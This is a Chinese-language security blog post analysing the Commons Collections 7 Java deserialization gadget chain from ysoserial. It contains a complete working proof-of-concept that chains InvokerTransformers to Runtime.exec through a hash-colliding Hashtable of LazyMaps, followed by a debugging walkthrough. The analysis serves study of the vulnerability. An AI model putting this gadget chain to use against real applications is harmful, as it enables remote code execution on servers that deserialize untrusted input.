Java安全之Commons Collections7分析
Java安全之Commons Collections7分析
0x00 前言
本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
这里依旧是提取重要代码出来去做了一个简化。
抛去和前面重复的部分,下面分为三段代码去进行分析。
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
在这段代码中,实例化了两个 HashMap,并对两个 HashMap使用了LazyMap将transformerChain和 HashMap
绑定到一起。然后分别添加到 Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?
下面来分析一下。
Hashtable的reconstitutionPut方法是被遍历调用的,


第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
lazyMap2.remove("yy");
前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers进行替换。
其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。
0x02 POC调试
依旧是在readobjetc的复写点打一个断点,这里面用到的是Hashtable的readobjetc作为入口点。

在其中会调用到reconstitutionPut方法,跟进一下。

前面说过,第一遍调用的时候,tab[index]是为空的,需要跟进到第二步的执行里面去查看。

在第二遍执行的时候就会进行到for循环里面,并且调用到key的equals方法。跟进一下该方法。

AbstractMapDecorator的equals方法会去调用this.map的equals。跟进一下。

下面代码还会继续调用m.get方法,在这里的m为LazyMap对象。
在最后就来到了LazyMap.get这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

0x03 结尾
分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。
Java安全之Commons Collections7分析的更多相关文章
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- 聊聊经典数据结构HashMap,逐行分析每一个关键点
本文基于JDK-8u261源码分析 本文原创首发于 奇客时间(qiketime) 1 简介 HashMap是一个使用非常频繁的键值对形式的工具类,其使用起来十分方便.但是需要注意的是,HashMap不 ...
- Go 安装介绍
Go介绍 Go语言被誉为21世纪的C语言,由Google公司开发,天生对高并发有着优秀的支持.并且语法极度简洁,关键字仅有25个. 所以使用Go语言时你不用担心自己写的和大神写的有着天差地别,Go语言 ...
- Python-TypeError: not all arguments converted during string formatting
Where? 运行Python程序,报错出现在这一行 return "Unknow Object of %s" % value Why? %s 表示把 value变量装换为字符串, ...
- Android Handler MessageQueue Looper 消息机制原理
提到Android里的消息机制,便会提到Message.Handler.Looper.MessageQueue这四个类,我先简单介绍以下这4个类 之间的爱恨情仇. Message 消息的封装类,里边存 ...
- 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- AE2018简单的编辑
来源:https://jingyan.baidu.com/article/1876c8525cf522890a137651.html Ae 2018 怎样锁定图层,阻止对图层进行编辑? 听语音 原创 ...
- Flutter 开发从 0 到 1(四)ListView 下拉加载和加载更多
在<APP 开发从 0 到 1(三)布局与 ListView>我们完成了 ListView,这篇文章将做 ListView 下拉加载和加载更多. ListView 下拉加载 Flutter ...
- TP5上传图片到七牛云,并且删除七牛云的图片
一,通过composer 下载七牛云 sdk composer require qiniu/php-sdk 二,手动下载七牛云sdk 1,https://developer.qiniu.com/kod ...
- Windows 编程基础
1 Windows应用程序的分类 1.1 控制台程序 DOS程序,本身没有窗口,通过WINDOWS下的DOS窗口执行. 1.2 窗口程序 拥有自己的窗口,通过窗口可以和用户进行交互.(比如:记事本,画 ...
- centos7 安装k8s kubectl 客户端
1. 配置k8s的kubelet 管理客户端 1 cat <<EOF > /etc/yum.repos.d/kubernetes.repo 2 [kubernetes] 3 name ...